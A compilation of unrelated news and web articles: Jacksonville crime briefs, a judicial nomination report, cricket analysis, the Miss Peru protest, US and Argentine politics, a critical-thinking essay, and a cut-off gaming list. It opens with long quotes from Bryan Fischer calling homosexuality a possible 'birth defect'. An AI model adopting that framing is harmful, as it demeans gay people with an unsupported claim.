-Yesterday it was reported that a group of scientists had put forward a new theory that epigenetic marks may play a key role in determining why people are gay. According to press reports, these “epi-marks” determine how genes are expressed and are normally “erased” between generations, but in cases where they are not erased, they may be passed on from a mother or father in a way that can lead to a child becoming gay. Which means, according to Bryan Fischer, that homosexuality might be a “birth defect” which could lead prospective parents to choose abortion: As I have said before, I suspect that not even homosexual activists today want the gay gene to be found, even if it exists, because of advances in prenatal genetic testing. It is now possible to routinely screen for 3500 genetic defects while a child is still in the womb. So these activists rationally fear that preborn children who are detected with this gene will be aborted before they even have the chance to be born. After all, if 90% of babies in the womb who are diagnosed with Downs syndrome never draw their first breath, what are the chances that parents disposed to abortion will not exercise the same choice with regard to the gay gene? The scientists in Koebler’s article, in my view, are now resorting to genetic subterfuge and are coming dangerously close to saying that homosexuality is the result of a genetic defect, a genetic abnormality. In other words, read from one angle, these same scientists are saying that homosexuality is the result of a birth defect. … So in other words, when something goes wrong genetically, and these markers are not erased, the epi-markers which provide an evolutionary advantage to parents instead do evolutionary damage to their offspring. Now these researchers are quite at pains to avoid saying anything like this, but the logic to me seems inescapable: Homosexual children, on this theory, are born evolutionarily and genetically disadvantaged. They have been overexposed or underexposed to testosterone because something has gone wrong in the process of genetic transmission. In other words, they are the product of a genetic abnormality at best, a birth defect at worst. … I expect many abortion-minded parents will want to know exactly how strong this epi-marker is in their unborn children so they can decide whether or not to exercise reproductive choice. In fact, I expect that if this theory gains some currency, it will not be long before we have legislation from the homoexual lobby prohibiting “sex-selection” abortions on any child carrying this epi-marker. -A 2-year-old boy died this month after taking a drug-laced drink from his sippy cup, and a Jacksonville woman has been charged in his death. Dana M. Anderson, 30, was arrested Monday, about a week after the Jacksonville Sheriff's Office said an unresponsive child, Masia James Wright, was transported from a home in the 11000 block of Alta Drive. The child was pronounced dead at Shands Jacksonville hospital, and an autopsy determined methadone toxicity was the cause. Methadone is a pain reliever and is used as part of drug addiction detoxification. Anderson and her boyfriend, Ernest Wright, the child's father, went in for questioning by police. She said she left a purple child's cup with some of the drug on a bedroom dresser, the arrest report said. Anderson was charged with aggravated manslaughter on a child younger than 18 years old by culpable negligence and was booked into the Duval County jail on $1 million bail. She's been arrested in Jacksonville about a dozen times since 2006 on charges ranging from petty theft to possession of crack. Matt Coleman 2 murder charges dropped by judge A Jacksonville man who had been charged as the triggerman in a 2007 drug shooting has been cleared of the charges. Cedric Cutter, who was released from jail in time to celebrate his 30th birthday Tuesday, had been locked up since Sept. 19, 2008, on two counts of first-degree murder in the killings of David R. Holmes, 41, and Martin Surapol, 37, at a boarding house off Lone Star Road in Arlington in 2007. Cutter was accused of shooting the men on orders from Anthony W. Vaughan, 25, who remains convicted of first-degree murder in the shooting. Although prosecutors argued for the death penalty, a jury recommended a life sentence for Vaughan in October. According to the Times-Union's news partner First Coast News, Circuit Judge David Gooding dismissed the case Monday after Cutter's defense team proved Cutter wasn't the accomplice. A description initially given of the murder suspect was 6 inches taller than Cutter and the lawyers also said Vaughan told people in jail that he didn't know Cutter. The State Attorney's Office also said without the testimony from a key witness who since died, prosecutors saw no possibility of a conviction and made the decision to not pursue a trial in this case. David Hunt 18-year-old arrested in September drive-by Jacksonville police announced Tuesday the arrest of an 18-year-old in a drive-by slaying in September. Shaheim Hasaan Lomax of the 200 block of East 48th Street is charged in the slaying of Spencer Eugene Winkfield, 20, who was shot Sept. 15 in the 5400 block of Liberty Street in North Jacksonville. Winkfield, of the 100 block of West 44th Street, was wounded in the foot and stomach. He died two days later. An arrest report said Winkfield and at least two others were walking on the street when a car drove by and the driver began firing a handgun from the window. Police did not discuss a motive for the shooting. Investigators collected several shell casings from the scene and they were matched to a gun found in a car driven by Lomax when police stopped the vehicle Monday. Police also recovered drugs in the vehicle. Jim Schoettler 2 seriously injured when car strikes power pole A man and a woman suffered life-threatening injuries after their car veered off the road and struck a power pole on Jacksonville's Westside early Tuesday. The car was southbound on Rampart Road just south of Morse Avenue about 3 a.m. when the driver failed to negotiate a curve and hit a power pole at a JEA facility, said traffic homicide detective John Hurst of the Jacksonville Sheriff's Office. A man and woman in the back seat were hospitalized with life-threatening injuries. The woman driving the car was ejected. She and a male passenger in the front seat had minor injuries. Hurst said speed was a factor in the accident. It did not appear anyone was wearing a seat belt, he said. Dana Treen BAKER COUNTY Macclenny man faces 22 counts of child porn possession A 43-year-old Baker County man was arrested Tuesday on 22 counts of possession of child pornography following an investigation into a computer at his Macclenny home, according to the Florida Attorney General's Office. Randall W. Lyons was booked into jail shortly after 9 a.m. on $3.4 million bail after investigators traced numerous images of child pornography to his computer, including some children as young as 1 year old. Lyons and his wife have children, including one adopted from China, according to a website for Children's Hope International (www.childrenshopeint.org). So the Florida Department of Children and Families is involved in the case, said Jacksonville office spokesman John Harrell. "The children are with family," Harrell said. "We are working closely with law enforcement and the family to ensure the safety of the children." Attorney General's Office spokeswoman Sandi Copes said no specific victims have been identified. Dan Scanlan Alachua man killed in collision with truck An Alachua County man was killed and another driver seriously injured in a collision Monday in Baker County. Robert Harvis Gasche, 54, died at the scene of the 6:20 a.m. accident after his pickup truck veered in front of a northbound tractor-trailer rig on County Road 121 just north of the Union County line, according to the Florida Highway Patrol. Gasche was southbound when his truck drifted onto the eastern shoulder of the road and then overcorrected onto the road into the path of the rig driven by Matthew Lee Ellis, 50, of Bradford. Both drivers were wearing seat belts, according to the Highway Patrol. Ellis was taken to Shands at the University of Florida. Dana Treen CLAY COUNTY Jail inmate tests positive for TB; about 30 exposed A male inmate at the Clay County jail has tested positive for an active case of tuberculosis, the Sheriff's Office said Tuesday. The agency is working to identify jail employees and inmates who might have had direct contact with the inmate, according to a Sheriff's Office news release. The current estimate is about 30 people. The Sheriff's Office didn't identify the inmate, citing medical privacy laws, and declined to comment. The inmate was arrested and booked into jail Nov. 3. The medical screening questionnaire responses were all negative with no indication of sickness or symptoms, the Sheriff's Office said. Tuberculosis was discovered later following a standard physical exam that included a TB skin test. Matt Coleman ST. JOHNS COUNTY Motorist hits, kills bear crossing Interstate 95 A bear crossing Interstate 95 about 5 miles south of International Golf Parkway was killed early Tuesday when it was hit by a southbound pickup truck. Camille Henderson Poirier III, 37, of Hastings was not hurt in the 12:45 a.m. collision with the bear that was crossing the highway from the west, according to the Florida Highway Patrol. The bear continued across the road and about 400 feet into the woods where it died. Poirier's Chevrolet truck had to be towed from the scene, said Highway Patrol Lt. Bill Leeper. Poirier was wearing a seat belt. Dana Treen -Obama Offers Second Chance For Missouri Court Nominee Enlarge this image toggle caption Kelley McCall/AP Kelley McCall/AP President Obama has made it a priority to choose federal judges who are diverse in terms of race or gender. But for the most part, he's avoided controversy for those lifetime appointments. That's why the nomination of a Missouri lawyer named Ronnie White has raised the eyebrows of experts who've been around Washington for a while. Old hands remember that White was rejected for a federal judgeship back in 1999 after a party line vote by Senate Republicans. Now, in what experts say could be an unprecedented step, he's getting another chance. White has already made history, in more ways than one. The Democratic lawyer served three terms in the Missouri House of Representatives. He became the first African-American to sit on the state Supreme Court, sworn in at a courthouse where slaves were once sold on the steps. And 14 years ago, White suffered a rare defeat on the U.S. Senate floor in his bid to become a federal judge. "We rarely ever see floor votes rejecting a nomination," says Sarah Binder, a political scientist and senior fellow at the Brookings Institution. "That's what is so unusual and why I think almost everybody who's followed judicial nominations remembers the Ronnie White case." Binder and other experts who study nominations say they can't remember a time when a judge who's been voted down in the Senate has been renominated. "There may be a case way back when in the early 19th century but for all intents and purposes this is unprecedented for a president to come back and renominate someone," Binder adds. White is unusual for another reason: He took the opportunity to defend himself and his record by testifying against his chief antagonist, former Missouri GOP Sen. John Ashcroft, during Ashcroft's own confirmation hearing to become attorney general in the George W. Bush years. White told the Senate back in early 2001 that he once thought he had a clear path to become a judge. "And then I learned that Sen. Ashcroft was opposing me," White recalled. "I was very surprised to hear that he had gone to the Senate floor and called me 'pro-criminal,' with a tremendous bent toward criminal activity. That he told his colleagues that I was against prosecutors and the culture in terms of maintaining order." White told lawmakers that Ashcroft had distorted his record: "I deeply resent those baseless misreputations. In fact, and I want to say this as clearly as I can, my record belies those accusations." Sen. Richard Durbin, a Democrat from Illinois, followed up with Ashcroft himself. "Sen. Ashcroft, did you treat Ronnie White fairly?" Durbin asked. "I believe that I acted properly in carrying out my duties as a member of the committee and as a member of the Senate in relation to Judge Ronnie White," Ashcroft replied. Ashcroft said he was bothered by White's record in death penalty cases and that the judge went out of his way to support defendants' rights, even in violent crimes. Anger from minority groups in Missouri ultimately helped cost Ashcroft his Senate seat, but it didn't stop his bid to become U.S. attorney general. And White — now 60 years old — may yet have a second act too. A spokesman for Sen. Claire McCaskill, a Democrat from Missouri, told NPR the past criticism of the judge is "completely unfounded" and said she "looks forward to supporting his nomination." Sen. Roy Blunt, a Republican from Missouri, told reporters he won't block White's bid for a Senate vote either. Conservative groups who follow judicial candidates are digging through his record. Carrie Severino of the Judicial Crisis Network says given the recent change in Senate rules, she thinks White will get through this time. "It's definitely clear that with the new 51-vote threshold it's going to be very difficult to stop his nomination," Severino says. "So I think they're hoping to get through now some of these more extreme nominees that before would have required a bipartisan consensus to move on." The White House didn't respond to questions about why it renominated White for a federal judgeship. But White may have offered an answer, in his Senate testimony a dozen years ago. "There was a lot of outrage about my nomination being rejected and particularly in the African-American community," White said. "And the reason for that outrage I believe, is when you have an African-American judge, African-Americans see that as one more step toward true equality." For President Obama, who's made diversifying the bench a top priority, that may be reason enough to revisit the case of Ronnie White. -Matt Renshaw saw the shadow people. They hadn't been there for four days, but someone had opened a door and now there they were, right in his vision, running, walking, swaying from side to side. Once he saw them he couldn't concentrate. He had to pull away as the bowler ran in. This enraged Ishant Sharma, who threw the ball down in anger and started a fight with Steven Smith before being moved away. Angry Ishant, too rarely seen, is by far the best Ishant. He roars in next ball and follows right through to Renshaw to let him know how he's feeling. Soon he hits Renshaw on the hip. Another ball gets stuck in Renshaw's helmet after rattling around his face for a second. Then there is a bouncer that Renshaw barely avoids. When Ishant goes straight and gets one to skid a bit, Renshaw is trapped plumb in front. He shrugs his shoulders and leaves the ground, practising the shot he should have played as the shadow people dance and rejoice. A few minutes later, the shadow people dance again. Smith didn't make many bad decisions in his first innings of 127 overs, or even when he was in the field for 210 overs. But this one is bad, and Australia have spent all tour doing the right thing. Australia have made a collection of decisions so far in this series. It started when S Sriram went from a development coach into the change room for this tour. He coached the batsmen on how to survive, and at times thrive, in India. But perhaps his greatest work was making Steve O'Keefe believe in himself. It was playing inside the line as Sriram had suggested and his constant mentoring of O'Keefe meant the weakest team to tour India, according to Harbhajan Singh, won a Test with a spinner who was fourth best , according to Shane Warne. They were supposed to be embarrassed. Instead they had done the thing that teams had been trying to do all season in India. In Bengaluru, Nathan Lyon got them off to a great start, and then it was the batmen's turn to step up. On a day when India were outstanding, Australia tried to just get far enough in front to win the game. As good as Shaun Marsh had been, it was his wicket at the close on day two that ultimately kept India in it. When Smith dropped Pujara, India battled to a lead big enough that Australia with a team of their very best players of spin would have struggled to get over the line. The chase and pitch was set up for an Australian collapse. Australia have also been clever at little things. After O'Keefe's 12-wicket haul in Pune it would have been easy to think he would be a strike bowler in India, but Australia went straight back to using him as their stock bowler. It allowed Hazlewood more rest, it allowed Starc (Cummins) to be Starc (Cummins), and when Lyon's callous opened up, for O'Keefe to at least stop India getting away. They also got the ball to reverse while using their bowlers far better than Kohli used his. They played spin better over the first two Tests, they fielded and caught better, and they came up with intelligent plans and stuck to them well. It's perhaps the most unAustralian they have been in India. Shaun Marsh stood tall and blunted India Associated Press An hour into this match, on a pitch so doctored that the Ranchi rolled mud was supposed to swallow the Australians whole, they looked completely at home. But then their first real problem on this pitch had nothing to do with this pitch: Warner failed again and they were leaving their fate in the hands of Glenn Maxwell. Maxwell was a bizarre choice, as Australia had barely used Mitchell Marsh's allrounded-ness, and perhaps the more sensible thing to do was bring in Usman Khawaja. Very rarely is Maxwell a sensible thing to do, and when Australia needed someone to play very long innings, him coming out to bat at 140 for 4 with Australia at least 300 behind where they would need to be, few would have been confident. But Maxwell played either the best innings of his life, or the one that sets up the rest of it. But as good as he was, and as just phenomenally good as Smith continued to be, 451 never quite felt enough. When they had India at 328 for 6, with Pat Cummins defying pretty much everything to storm through the crease, it did seem like it might be enough. Australia had tried all the tricks they had. Bowling dry with interesting fields designed to stop batsmen scoring efficiently, short quick spells of reverse from Hazlewood, and short quick cutters from Cummins. India crawled past them, but no matter how good Cheteshwar Pujara looked, or how well Wriddhiman Saha timed the ball, Smith refused to concede a single run. Pujara made a double-hundred that was essentially a three-day arm wrestle with Smith's fields. They let him stay in; they rarely let him score. They were tired, and never looked like getting a wicket, but they never rolled over, they never let India score. If India was going to score, it was going to be out of the footholes or with significant risk. Forget the part-timers, forget taking chances. There were no easy runs for India, and that took time, which turned out to be very important. Even with the restriction of India's lead, and how long it took them to get there, there were problems for Australia. They had only faced more than 100 overs in the fourth innings of an Asian Test once, against Bangladesh, in 2006. The last time Australia batted an extended period to draw a game was six years ago in Sri Lanka. They hadn't won a series since then either. They had only batted 100 overs in their second innings in Asia 16 times. This is a team that doesn't win series in Asia, doesn't bat out draws. Going into a final day with two wickets down, against the two best spinners in the world for these conditions, and a pit of despair outside the left-handers' off stump, this team was not equipped to draw this match. Not that Australia were the team that should have won in Pune, or stayed in the game in Bengaluru for as long as they did. What makes this series more remarkable is that this isn't a great time for Australian cricket. It's hard to praise the selectors too much, when part of their plan was replacing Peter Nevill with Matthew Wade as wicketkeeper. Wade has averaged less with the bat since coming back into the team than Nevill did when he was axed. And it was Wade's drop that ultimately cost them a chance of winning this Test. Then there is Mitchell Marsh, who even if he wasn't injured - even if he had never been injured - was an odd choice for a team with an underperforming No. 7. He became odder when he barely bowled a charity over in two Tests. Then there was the fact that about five minutes ago, Callum Ferguson was playing. Or that the selectors seemed to pick Renshaw on a whim, and then started to second guess themselves when they realised the India tour was coming up. And they also threw Nic Maddinson into Test matches while they publicly slated the man who has now replaced him. But there was some method to their madness. Australian selections are still based on things like grit, youth, and aesthetic wonders that are apparently natural talent. However, when they turned their team around after the debacle in Hobart, they made three interesting calls with their batting. They went for a young kid who would become a star, the guy with the best recent first-class record, and the most naturally talented player they had. That got them two players who have been important since, Renshaw and Handscomb, and to be fair, Maxwell was out of favour, and Chris Lynn was injured, so Maddinson was probably third choice anyway. They continued to make big calls for this tour. At times it seemed like almost everyone did not rate Shaun Marsh outside of people who know his father, Western Australians, and Australian selectors. There is sometimes an overlap in those categories. Marsh is not a great batsman. If he was, with all the advantages he has had, he would have played a lot more than 22 Tests by the age of 33. He certainly would have averaged a hell of a lot more than 40 in first-class cricket and he would have averaged over 40 in more than one country. It just so happened that one country was Sri Lanka, and he also has a huge average in the IPL. So it made sense to see him as an Asian specialist. But it was still a risk. Marsh might know his game, he might be better in Asia than most Australian players, and he might also be one of Australia's best players of spin - averaging 62, double his average against pace. While that might seem enough, in India you need big scores as well, and Marsh doesn't do that. He can score, but he doesn't score big daddy runs. His highest in first-class cricket is 182, and that is part of the reason he doesn't average more. Matthew Wade and Virat Kohli shook hands and called it a draw after Australia had batted out 100 overs Associated Press That hasn't been a big problem on this tour as Marsh has never gone past 70, and yet both of his fifties have been very good knocks. His 66 in Bengaluru ended up being remembered for its limp end, but in the context of the game it was a terrific knock. The incredible part was how he found a way to survive on that pitch. And that is what he needed to do today. The thing is, unlike in Bengaluru, Marsh had some help in Ranchi. Peter Handscomb has made three hundreds in each of the last three Sheffield Shield seasons. He played IPL and county cricket, and for someone still pretty young, he is a well-rounded and experienced. But he's also weird. That's okay if you're chosen as a kid on a whim because you have something special about you. When you're 25, and you've never played for Australia, and your batting technique looks like a drunk guy trying to imitate Steve Smith, getting into the Australian team is not a sure thing. Had there not been a crisis of faith after losing to South Africa, Handscomb might have had to wait a couple of years for a spot. Instead he was thrust in, and runs followed. Even in India, where he hasn't gone on with it, he has almost always looked better than most of the other batsmen. In Bengaluru, on a pitch where to survive you had to cobble together three or four ideas and hope for the best, he was the one player who looked like he could have chased down the total. It was that cricket brain that shone again today. For 28 straight balls Marsh, who had fought hard against Jadeja in the rough, didn't have to face Jadeja in the rough. When India finally got Jadeja back at Marsh, it was halfway through the day, the ball was softer, Jadeja wasn't in rhythm, and the spit and fire were long gone. For the rest of the day, the two played so incredibly smart. Marsh made sure to get outside the line, Handscomb took 13 runs off a poor over from Ashwin, so India would have to take him off and change their plans. They looked for runs, turned the strike over when it suited them, and played the kind of cricket Australians don't play in India that often. While India might have looked flat and out of ideas, and could blame the soft ball and the fact the pitch didn't fall apart as they wanted, they also had to credit this partnership because both players were in control of over 90% of the balls they faced. That would be incredible on day one, but for the fifth day, with one guy still proving himself at 33 and another in his first Tests outside home, it was a tremendous effort. When the new ball did start to play up again, and Marsh struggled before getting out, it was Handscomb who remained. Had those two got out, the Test could have ended poorly for Australia. Wade could have got a ball from the rough, and then the tail would have not only had to handle the spinners and the pitch, but also the crowd. Instead, the crowd was quiet. Handscomb had silenced them and they were a shadow of how it had been the evening before. It even turned out that it wasn't the shadow people distracting Renshaw. It was M Vijay on the field. The only shadows Australia saw at the end of the day were those of disappointed Indian fielders, as they knew a win was slipping away. When Handscomb knocked a ball gently through the covers, the shadows went to collect it, but Handscomb stood still. He could have run, but if he did there was a chance that Wade would have to face Jadeja out of the rough, so he refused the runs. While it probably wouldn't have mattered much - the game was drawn shortly after - Hanscomb had made another sensible decision. Australia have no Starc, a barely functioning David Warner, and with one Test to play the score is 1-1. They haven't been jumping at shadows like they usually do in India. They are determined to do the right thing. And more often than not, they have. -Miss Peru pageant contestants share violence against women statistics instead of body measurements Updated When it came time for contestants at this year's Miss Peru pageant to give their waist, hip and bust sizes, more than 20 women instead recited facts about trafficking, femicide and harassment. Leading the protest was Camila Canicoba of Lima who said "my measurements are: 2,202 cases of femicide reported in the last nine years in my country". The winner, 20-year-old Romina Lozano, said her measurements were "3,114 women victims of trafficking up until 2014", on the most watched show in Peru on Sunday (local time). "My measurements are: the 65 per cent of university women who are assaulted by their partners," Bélgica Guerra, representing Chincha, said. "My measurements are: more than 70 per cent of women in our country are victims of street harassment," contestant Juana Acevedo said. The organisers also projected newspaper clippings of stories about violence against women as the contestants posed in bikinis at a theatre in the capital city, Lima. The women are hoping to represent Peru in November's 66th Miss Universe competition in Las Vegas. Miss Peru 2018 organizer Jessica Newton told Buzzfeed: "Everyone who does not denounce and everyone who does not do something to stop this is an accomplice". "Women can walk out naked if they want to. Naked. It's a personal decision," she added. "If I walk out in a bathing suit I am just as decent as a woman who walks out in an evening dress." The protest comes amid a slew of sexual harassment accusations towards film mogul Harvey Weinstein and now House of Cards actor Kevin Spacey. The allegations towards Weinstein, originally sparked by a New York Times article detailing harassment towards Rose McGowan and Ashley Judd, prompted the #MeToo social media campaign. Thousands of women began sharing their personal stories of sexual harassment and abuse using the #MeToo hashtag. Sorry, this video has expired Video: Meet the woman behind the Me Too campaign (ABC News) In the weeks that followed, countless numbers of women working in the film industry spoke out, accusing Weinstein of making unwanted advances towards them, and of sexual assault and rape. Spacey is the latest prominent man in Hollywood to be called out for his behaviour. Actor Anthony Rapp, best known for starring in the musical Rent and Star Trek: Discovery, said he was invited to a party at Spacey's apartment in 1986 when he was just 14 and said Spacey, then 26, put him on his bed and climbed on top of him at the end of the night. A second actor has now made a sexual harassment allegation towards Spacey. Mexican actor Robert Cavazos said he encountered Spacey at the bar of London's Old Vic Theatre where he tried to fondle him against his will. Reuters/ABC Topics: arts-and-entertainment, sexual-offences, women, peru First posted -WASHINGTON -- House Speaker Paul Ryan, R-Wis., said the U.S. is “going to be living with Obamacare for the foreseeable future” after he abruptly canceled a scheduled vote on the contentious Republican health care bill Friday. “Obamacare is the law of the land, and it will remain the law of the land until it’s replaced,” Ryan said. Republicans pull Obamacare replacement as bill fractures party The vote on the American Health Care Act planned for Friday afternoon was scuttled minutes before it was to be held. House Republican leaders and the White House failed to win over a bloc of conservative members who thought the measure didn’t go far enough in repealing the Affordable Care Act, known as Obamacare. “Moving from an opposition party to a governing party comes with growing pains,” Ryan told reporters Friday afternoon. “We’re feeling those growing pains today.” The failure to bring the bill to a vote is a major embarrassment for President Trump, Ryan and congressional Republicans, who had vowed to repeal the Affordable Care Act since its passage in 2010. “We came really close today, but we came up short,” Ryan said. U.S. Speaker of the House Paul Ryan arrives to talk to reporters on March 24, 2017, during a press conference on Capitol Hill in Washington, D.C. Nicholas Kamm/AFP/Getty Images Republican members of the conservative Freedom Caucus had balked at the bill’s failure to repeal insurance regulations and presented a unified front that ultimately forced Ryan to pull the measure. A House Republican aide told CBS News that Mr. Trump spoke to Ryan at 3 p.m. Friday and asked him to cancel the vote. Ryan said Mr. Trump has “really been fantastic” in advocating for the bill, saying he “gave his all in this effort.” Ryan informed members of the Republican caucus of his decision to cancel the vote during a meeting shortly after the cancellation. Following the meeting, Rep. Bill Flores of Texas told CBS News’ Walt Cronkite that Ryan told members the GOP would be pulling the bill and moving on to another subject. Flores said Ryan told the caucus they would focus on other reforms for now. -Argentina's foreign minister pales at the thought that anyone would compare the country's current scandal with Argentina's dark past known as the "Dirty War." In his first in-depth U.S. television interview, Hector Timerman dismisses talk that the mysterious death of a prosecutor about to charge him and the country's president with serious crimes is anything like the "terrible" times three decades ago. Timerman speaks to Lesley Stahl about the death of Alberto Nisman and the charges he made before his untimely death in a 60 Minutes report to be broadcast Sunday, March 8 at 7 p.m. ET/PT. An excerpt from Timerman's interview will be broadcast tonight on the CBS Evening News. Nisman died from a bullet to the head just one day before he was to formerly present his case against Timerman and President Cristina Fernandez de Kirchner accusing them of conspiring to protect Iranian officials implicated in the 1994 bombing of AMIA -- the Buenos Aires Jewish community center -- that killed 85 people. All of Argentina is debating over whether it was suicide or murder. Some say it is reminiscent of the Dirty War. "Nah, it's impossible,"scoffs Timerman. "We are talking about things that were terrible, terrible," he says, referring to the thousands who disappeared and died at the hands of the military junta or its proxies, including horrific executions when they were pushed out of aircraft over the sea or jungles. Timerman says he will not speculate whether Nisman was murdered or killed himself, but denies the charges of the 51-year-old prosecutor. Nisman lay out his case in a 289-page report. He accused Timerman and Kirchner of seeking a trade deal with Iran in return for protecting the officials, a deal Timerman had secretly made with the Iranians. "Well, that's a lie. That's a total lie. I never said that. Nisman never showed any evidence that I said that," he tells Stahl. Furthermore, says Timerman, only a judge could rescind the standing order that Interpol detain the Iranian officials in question, which would have been part of any deal. Stahl also speaks to the last known person to see Nisman alive. In a rare interview, Diego Lagomarsino was a tech worker in the prosecutor's office. He gave Nisman a gun - the one that was used in his death - because the prosecutor said he wanted additional protection; Lagomarsino says Nisman told him he did not trust his 10 bodyguards. Nisman was very upset, recounts Lagomarsino, "He told me, 'Do you know how it feels that your daughters don't want to be with you because they are afraid that something will happen to them...', I had never seen Nisman so concerned," he says. The latest twist in a tale that has transfixed Argentinians and captured the world's attention is what a forensics report commissioned by Nisman's ex-wife concluded: he was murdered and that his body was moved after his death. -To be skilled in critical thinking is to be able to take one’s thinking apart systematically, to analyze each part, assess it for quality and then improve it. The first step in this process is understanding the parts of thinking, or elements of reasoning. These elements are: purpose, question, information, inference, assumption, point of view, concepts, and implications. They are present in the mind whenever we reason. To take command of our thinking, we need to formulate both our purpose and the question at issue clearly. We need to use information in our thinking that is both relevant to the question we are dealing with, and accurate. We need to make logical inferences based on sound assumptions. We need to understand our own point of view and fully consider other relevant viewpoints. We need to use concepts justifiably and follow out the implications of decisions we are considering. (For an elaboration of the Elements of Reasoning, see a Miniature Guide to the Foundations of Analytic Thinking.) In this article we focus on two of the elements of reasoning: inferences and assumptions. Learning to distinguish inferences from assumptions is an important intellectual skill. Many confuse the two elements. Let us begin with a review of the basic meanings: Inference: An inference is a step of the mind, an intellectual act by which one concludes that something is true in light of something else’s being true, or seeming to be true. If you come at me with a knife in your hand, I probably would infer that you mean to do me harm. Inferences can be accurate or inaccurate, logical or illogical, justified or unjustified. Assumption: An assumption is something we take for granted or presuppose. Usually it is something we previously learned and do not question. It is part of our system of beliefs. We assume our beliefs to be true and use them to interpret the world about us. If we believe that it is dangerous to walk late at night in big cities and we are staying in Chicago, we will infer that it is dangerous to go for a walk late at night. We take for granted our belief that it is dangerous to walk late at night in big cities. If our belief is a sound one, our assumption is sound. If our belief is not sound, our assumption is not sound. Beliefs, and hence assumptions, can be unjustified or justified, depending upon whether we do or do not have good reasons for them. Consider this example: “I heard a scratch at the door. I got up to let the cat in.” My inference was based on the assumption (my prior belief) that only the cat makes that noise, and that he makes it only when he wants to be let in. We humans naturally and regularly use our beliefs as assumptions and make inferences based on those assumptions. We must do so to make sense of where we are, what we are about, and what is happening. Assumptions and inferences permeate our lives precisely because we cannot act without them. We make judgments, form interpretations, and come to conclusions based on the beliefs we have formed. If you put humans in any situation, they start to give it some meaning or other. People automatically make inferences to gain a basis for understanding and action. So quickly and automatically do we make inferences that we do not, without training, notice them as inferences. We see dark clouds and infer rain. We hear the door slam and infer that someone has arrived. We see a frowning face and infer that the person is upset. If our friend is late, we infer that she is being inconsiderate. We meet a tall guy and infer that he is good at basketball, an Asian and infer that she will be good at math. We read a book, and interpret what the various sentences and paragraphs — indeed what the whole book — is saying. We listen to what people say and make a series of inferences as to what they mean. As we write, we make inferences as to what readers will make of what we are writing. We make inferences as to the clarity of what we are saying, what requires further explanation, what has to be exemplified or illustrated, and what does not. Many of our inferences are justified and reasonable, but some are not. As always, an important part of critical thinking is the art of bringing what is subconscious in our thought to the level of conscious realization. This includes the recognition that our experiences are shaped by the inferences we make during those experiences. It enables us to separate our experiences into two categories: the raw data of our experience in contrast with our interpretations of those data, or the inferences we are making about them. Eventually we need to realize that the inferences we make are heavily influenced by our point of view and the assumptions we have made about people and situations. This puts us in the position of being able to broaden the scope of our outlook, to see situations from more than one point of view, and hence to become more open-minded. Often different people make different inferences because they bring to situations different viewpoints. They see the data differently. To put it another way, they make different assumptions about what they see. For example, if two people see a man lying in a gutter, one might infer, “There’s a drunken bum.” The other might infer, “There’s a man in need of help.” These inferences are based on different assumptions about the conditions under which people end up in gutters. Moreover, these assumptions are connected to each person’s viewpoint about people. The first person assumes, “Only drunks are to be found in gutters.” The second person assumes, “People lying in the gutter are in need of help.” The first person may have developed the point of view that people are fundamentally responsible for what happens to them and ought to be able to care for themselves. The second may have developed the point of view that the problems people have are often caused by forces and events beyond their control. The reasoning of these two people, in terms of their inferences and assumptions, could be characterized in the following way: Person One Person Two Situation: A man is lying in the gutter. Situation: A man is lying in the gutter. Inference: That man’s a bum. Inference: That man is in need of help. Assumption: Only bums lie in gutters. Assumption: Anyone lying in the gutter is in need of help. Critical thinkers notice the inferences they are making, the assumptions upon which they are basing those inferences, and the point of view about the world they are developing. To develop these skills, students need practice in noticing their inferences and then figuring the assumptions that lead to them. As students become aware of the inferences they make and the assumptions that underlie those inferences, they begin to gain command over their thinking. Because all human thinking is inferential in nature, command of thinking depends on command of the inferences embedded in it and thus of the assumptions that underlie it. Consider the way in which we plan and think our way through everyday events. We think of ourselves as preparing for breakfast, eating our breakfast, getting ready for class, arriving on time, leading class discussions, grading student papers, making plans for lunch, paying bills, engaging in an intellectual discussion, and so on. We can do none of these things without interpreting our actions, giving them meanings, making inferences about what is happening. This is to say that we must choose among a variety of possible meanings. For example, am I “relaxing” or “wasting time?” Am I being “determined” or “stubborn?” Am I “joining” a conversation or “butting in?” Is someone “laughing with me” or “laughing at me?” Am I “helping a friend” or “being taken advantage of?” Every time we interpret our actions, every time we give them a meaning, we are making one or more inferences on the basis of one or more assumptions. As humans, we continually make assumptions about ourselves, our jobs, our mates, our students, our children, the world in general. We take some things for granted simply because we can’t question everything. Sometimes we take the wrong things for granted. For example, I run off to the store (assuming that I have enough money with me) and arrive to find that I have left my money at home. I assume that I have enough gas in the car only to find that I have run out of gas. I assume that an item marked down in price is a good buy only to find that it was marked up before it was marked down. I assume that it will not, or that it will, rain. I assume that my car will start when I turn the key and press the gas pedal. I assume that I mean well in my dealings with others. Humans make hundreds of assumptions without knowing it---without thinking about it. Many assumptions are sound and justifiable. Many, however, are not. The question then becomes: “How can students begin to recognize the inferences they are making, the assumptions on which they are basing those inferences, and the point of view, the perspective on the world that they are forming?” There are many ways to foster student awareness of inferences and assumptions. For one thing, all disciplined subject-matter thinking requires that students learn to make accurate assumptions about the content they are studying and become practiced in making justifiable inferences within that content. As examples: In doing math, students make mathematical inferences based on their mathematical assumptions. In doing science, they make scientific inferences based on their scientific assumptions. In constructing historical accounts, they make historical inferences based on their historical assumptions. In each case, the assumptions students make depend on their understanding of fundamental concepts and principles. As a matter of daily practice, then, we can help students begin to notice the inferences they are making within the content we teach. We can help them identify inferences made by authors of a textbook, or of an article we give them. Once they have identified these inferences, we can ask them to figure out the assumptions that led to those inferences. When we give them routine practice in identifying inferences and assumptions, they begin to see that inferences will be illogical when the assumptions that lead to them are not justifiable. They begin to see that whenever they make an inference, there are other (perhaps more logical) inferences they could have made. They begin to see high quality inferences as coming from good reasoning. We can also help students think about the inferences they make in daily situations, and the assumptions that lead to those inferences. As they become skilled in identifying their inferences and assumptions, they are in a better position to question the extent to which any of their assumptions is justified. They can begin to ask questions, for example, like: Am I justified in assuming that everyone eats lunch at 12:00 noon? Am I justified in assuming that it usually rains when there are black clouds in the sky? Am I justified in assuming that bumps on the head are only caused by blows? The point is that we all make many assumptions as we go about our daily life and we ought to be able to recognize and question them. As students develop these critical intuitions, they increasingly notice their inferences and those of others. They increasingly notice what they and others are taking for granted. They increasingly notice how their point of view shapes their experiences. This article was adapted from the book, Critical Thinking: Tools for Taking Charge of Your Learning and Your Life, by Richard Paul and Linda Elder. Back to top -Throughout history, doubles teams come and go. Some duos have great runs for a single tournament, or even a couple months, but few teams stick together and take their synergy to the next level. These 10 teams, although varying in time spent playing together, have all made their mark on the Melee doubles scene, and will go down in history as the 10 best teams of all time. 10. Husband and Wife Although 